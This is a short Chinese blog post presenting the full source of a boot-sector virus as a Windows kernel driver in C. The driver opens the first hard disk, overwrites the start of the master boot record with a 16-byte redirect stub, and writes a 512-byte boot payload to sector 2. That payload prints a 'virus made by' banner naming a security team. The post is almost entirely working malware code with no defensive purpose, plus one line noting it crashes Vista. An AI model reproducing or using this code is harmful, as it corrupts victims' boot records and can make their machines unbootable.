现在的位置: 首页 > 综合 > 正文

[原创]一个引导区病毒的代码

2013年08月09日 ⁄ 综合 ⁄ 共 7097字 ⁄ 字号 评论关闭
  1. #include <ntddk.h>
  2. unsigned char redirect_data[16] = {
  3.     0xB8, 0x01, 0x02, 0xBB, 0x00, 0x7E, 0xB9, 0x02, 0x00, 0xBA, 0x80, 0x00, 0xCD, 0x13, 0xFF, 0xE3
  4. };
  5. unsigned char mbr_data[512] = {
  6.     0xB9, 0x14, 0x00, 0x49, 0xE8, 0x21, 0x00, 0x81, 0xF9, 0x00, 0x00, 0x7D, 0xF6, 0xE8, 0x13, 0x00, 
  7.     0x31, 0xC0, 0x8E, 0xD0, 0xBC, 0x00, 0x7C, 0xFB, 0x50, 0x07, 0x50, 0x1F, 0xFC, 0xBE, 0x1B, 0x7C, 
  8.     0xE9, 0xED, 0xFD, 0x31, 0xC0, 0xCD, 0x16, 0xC3, 0x66, 0x60, 0xB8, 0x50, 0x7E, 0x89, 0xC5, 0xB4, 
  9.     0x13, 0xB0, 0x01, 0xB7, 0x00, 0xB3, 0x01, 0xB9, 0x41, 0x00, 0x8A, 0x36, 0x91, 0x7E, 0x8A, 0x16, 
  10.     0x92, 0x7E, 0xCD, 0x10, 0xA1, 0x91, 0x7E, 0x05, 0x01, 0x00, 0xA3, 0x91, 0x7E, 0x66, 0x61, 0xC3, 
  11.     0x54, 0x68, 0x69, 0x73, 0x20, 0x76, 0x69, 0x72, 0x75, 0x73, 0x20, 0x6D, 0x61, 0x64, 0x65, 0x20, 
  12.     0x62, 0x79, 0x20, 0x58, 0x66, 0x69, 0x6C, 0x6C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x73, 0x6E, 
  13.     0x48, 0x61, 0x63, 0x6B, 0x65, 0x72, 0x21, 0x20, 0x5B, 0x58, 0x69, 0x61, 0x6F, 0x20, 0x66, 0x65, 
  14.     0x6E, 0x67, 0x20, 0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x20, 0x54, 0x65, 0x61, 0x6D, 
  15.     0x5D, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  16.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  17.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  18.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  19.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  20.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  21.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  22.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  23.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  24.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  25.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  26.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  27.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  28.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  29.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  30.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  31.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  32.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  33.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  34.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  35.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  36.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  37.     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
  38. };
  39. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING theRegistryPath);
  40. VOID OnUnload(IN PDRIVER_OBJECT DriverObject);
  41. NTSTATUS
  42. FltWriteReadSectors(
  43.     IN PDEVICE_OBJECT DeviceObject,
  44.     OUT PVOID Buffer,
  45.     IN ULONG Length,
  46.     IN LONGLONG ByteOffset,
  47.     IN BOOLEAN Wait,
  48.     IN ULONG IrpType
  49.     );
  50. NTSTATUS
  51. FltReadWriteSectorsCompletion(
  52.     IN PDEVICE_OBJECT DeviceObject,
  53.     IN PIRP Irp,
  54.     IN PVOID Context
  55.     );
  56. #pragma alloc_text(PAGE, FltWriteReadSectors)
  57. #pragma alloc_text(PAGE, FltReadWriteSectorsCompletion)
  58. #pragma alloc_text(INIT, DriverEntry)
  59. #pragma alloc_text(PAGE, OnUnload)
  60. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  61. {
  62.     KdPrint(("%s/n","Driver Unload() Called..."));
  63. }
  64. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING theRegistryPath)
  65. {
  66.     NTSTATUS        ntStatus = STATUS_SUCCESS;
  67.     PDEVICE_OBJECT  DeviceObject = NULL;
  68.     PFILE_OBJECT        FileObj  = NULL;
  69.     UNICODE_STRING  uDevice;
  70.     PVOID pBuffer = NULL;
  71.     KdPrint(("%s/n","Driver DriverEntry Called..."));
  72.     RtlInitUnicodeString(&uDevice,L"//Device//Harddisk0//DR0");
  73.     ntStatus = IoGetDeviceObjectPointer(
  74.         &uDevice,
  75.         FILE_ALL_ACCESS,
  76.         &FileObj,
  77.         &DeviceObject);
  78.     
  79.     DriverObject->DriverUnload = OnUnload;      //Driver Unload
  80.     pBuffer = ExAllocatePool(NonPagedPool, 512);
  81.     KdPrint(("MBR:Read/n"));
  82.     FltWriteReadSectors(DeviceObject, pBuffer, 512, 0, TRUE, IRP_MJ_READ);
  83.     KdPrint(("MBR:Read Complete!/n"));
  84.     RtlCopyMemory(pBuffer, redirect_data, 16);
  85.     KdPrint(("MBR:Write/n"));
  86.     FltWriteReadSectors(DeviceObject, pBuffer, 512, 0, TRUE, IRP_MJ_WRITE);
  87.     KdPrint(("MBR:Write Complete/n"));
  88.     KdPrint(("MBR:Modify/n"));
  89.     FltWriteReadSectors(DeviceObject, mbr_data, 512, 512, TRUE, IRP_MJ_WRITE);
  90.     KdPrint(("MBR:Modify Complete/n"));
  91.     
  92.     return STATUS_SUCCESS;
  93. }
  94. NTSTATUS
  95. FltWriteReadSectors(
  96.     IN PDEVICE_OBJECT DeviceObject,
  97.     OUT PVOID Buffer,
  98.     IN ULONG Length,
  99.     IN LONGLONG ByteOffset,
  100.     IN BOOLEAN Wait,
  101.     IN ULONG IrpType
  102.     )
  103. {
  104.     PIRP                irp;
  105.     IO_STATUS_BLOCK        iosb;
  106.     KEVENT                event;
  107.     NTSTATUS            status;
  108.     irp = IoBuildAsynchronousFsdRequest(IrpType, DeviceObject,
  109.         Buffer, Length, (PLARGE_INTEGER) &ByteOffset, &iosb);
  110.     if (!irp) {
  111.         return STATUS_INSUFFICIENT_RESOURCES;
  112.     }
  113.     if (Wait) {
  114.         KeInitializeEvent(&event, NotificationEvent, FALSE);
  115.         IoSetCompletionRoutine(irp, FltReadWriteSectorsCompletion,
  116.             &event, TRUE, TRUE, TRUE);
  117.         status = IoCallDriver(DeviceObject, irp);
  118.         if (STATUS_PENDING == status) {
  119.             KeWaitForSingleObject(&event, Executive, KernelMode, FALSE, NULL);
  120.             status = iosb.Status;
  121.         }
  122.     } else {
  123.         IoSetCompletionRoutine(irp, FltReadWriteSectorsCompletion,
  124.             NULL, TRUE, TRUE, TRUE);
  125.         irp->UserIosb = NULL;
  126.         status = IoCallDriver(DeviceObject, irp);
  127.     }
  128.     return status;
  129. }
  130. NTSTATUS
  131. FltReadWriteSectorsCompletion(
  132.     IN PDEVICE_OBJECT DeviceObject,
  133.     IN PIRP Irp,
  134.     IN PVOID Context
  135.     )
  136. {
  137.     PMDL     mdl;
  138.     
  139.     UNREFERENCED_PARAMETER(DeviceObject);
  140.     if (Irp->AssociatedIrp.SystemBuffer && (Irp->Flags & IRP_DEALLOCATE_BUFFER)) {
  141.         ExFreePool(Irp->AssociatedIrp.SystemBuffer);
  142.     }
  143.     while (Irp->MdlAddress) {
  144.         mdl = Irp->MdlAddress;
  145.         Irp->MdlAddress = mdl->Next;
  146.         MmUnlockPages(mdl);
  147.         IoFreeMdl(mdl);
  148.     }
  149.     if (Irp->PendingReturned && (Context != NULL)) {
  150.         *Irp->UserIosb = Irp->IoStatus;
  151.         KeSetEvent((PKEVENT) Context, IO_DISK_INCREMENT, FALSE);
  152.     }
  153.     IoFreeIrp(Irp);
  154.     //
  155.     // Don't touch irp any more
  156.     //
  157.     return STATUS_MORE_PROCESSING_REQUIRED;
  158. }

 开始写的时候直接想到驱动了,其实 PhysicalDriver0 直接也可以改,想复杂了,不过效果是一样的。就是VISTA下会蓝,不知道为什么。

抱歉!评论已关闭.